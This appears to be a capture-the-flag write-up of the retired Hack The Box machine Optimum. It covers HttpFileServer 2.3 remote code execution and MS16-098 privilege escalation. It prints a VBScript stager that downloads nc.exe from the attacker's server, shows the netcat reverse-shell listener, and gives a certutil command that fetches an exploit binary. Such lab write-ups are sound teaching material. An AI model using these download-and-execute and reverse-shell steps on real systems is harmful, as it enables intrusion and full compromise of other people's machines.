Hackthebox - Retired - Optimum

Hackthebox - Retired - Optimum

Recon

I've been using threader 3000 for my recon scan lately, it's a threaded fast up/down scan on all TCP ports written in python, then it suggests a nmap scan based on the results of the first scan. It has really sped up my recon scans on hackthebox.

Then I convert the XML output it saves to HTML to make it pretty.

xsltproc ./10.10.10.8/10.10.10.8.xml -o ./optimum.html

Not much here just port 80 open

Nmap says its httpd 2.3

Let's pull up the server and see what it's showing us.

Looks like a file browsing system with a login..

HttpFileServer 2.3

We could try to brute force the login page, I tried a couple SQLi's and they didn't work. This page seems like the only path forward so let's look around for exploits.

Exploit

I googled HTTPFileSErver 2.3 and this was among the first results

https://www.exploit-db.com/raw/39161

It's a python script that is a Remote Code Execution. There is a little setup involved to get it going.

We need to modify the python to use our IP address and port we want the reverse shell to go to.

Here is a basic rundown of what it's doing.

The first thing it does is save a .vbs file named script.vbs in C:\Users\Public 

Here is the script it saves.

dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") dim bStrm: Set bStrm = createobject("Adodb.Stream") xHttp.Open "GET", "http://"+ip_addr+"/nc.exe", False xHttp.Send with bStrm     .type = 1 '//binary     .open     .write xHttp.responseBody     .savetofile "C:\Users\Public\nc.exe", 2 '//overwrite end with

Then it executes that script on optimum to download the netact binary we are serving.

Then does another execution that uses the recently downloaded nc.exe to create the reverse shell

anyway

We also need to server up a windows binary of netcat on port 80 for the script to have the RCE download.  I had trouble getting updog to bind to port 80 so I went back to SimpleHTTPServer

sudo python -m SimpleHTTPServer 80

Then set up our listener.

nc -lnvp 5555

Now we should just be able to run the python script and point it at optimum. In the notes section it says it may need to be ran more than once. I assume that is because the netcat transfer might not be done the first time it tries to execute the reverse shell connection.

python opt.py 10.10.10.8 80

It didn't catch a shell the first time so I had to run it twice.

Ok we have access, as a user named kostas. 

Let's hear it for off the shelf exploits :)

Let's see if we can get that user flag.

Cool there is also an executable for the hfs there in the desktop… huh

Ok let's find a path to system.

I grabbed a copy of sysinfo to feed into a tool called Windows-Exploit-Suggester

Sysinfo > optimum.txt

Then I just copy and pasted the info into a file of the same name on my kali box.

https://github.com/AonCyberLabs/Windows-Exploit-Suggester

This command gets a list of all current windows updates that have known vunls and saves it to an xlsx file.

python ./WindowsExploitSuggester.py --update

Now we just point the script at the new database and our sysinfo save.

python ./WindowsExploitSuggester.py --database 2020-09-18-mssb.xls ./optimum.tx

Got an error message about a missing or outdated library

So let's update it

pip install xlrd --upgrade

Then try our command again.

IT works this time.

It lists out the updates if there is an E it means there is an exploit ( and will give you the link to find it)

If there is a M there is a metasploit module available for this vulnerability

Let's check out MS16-098

I found this exploit on exploitdb

https://www.exploit-db.com/exploits/41020

And a compiled version on github 

https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/41020.exe

I downloaded it to folder I'm still serving with SimpleHTTPServer

And used certutil to download it to optimum

certutil.exe -urlcache -f http://10.10.14.19/41020.exe 41020.exe

Then all we had to do was run the exe and we are system.

And we can get that root.txt flag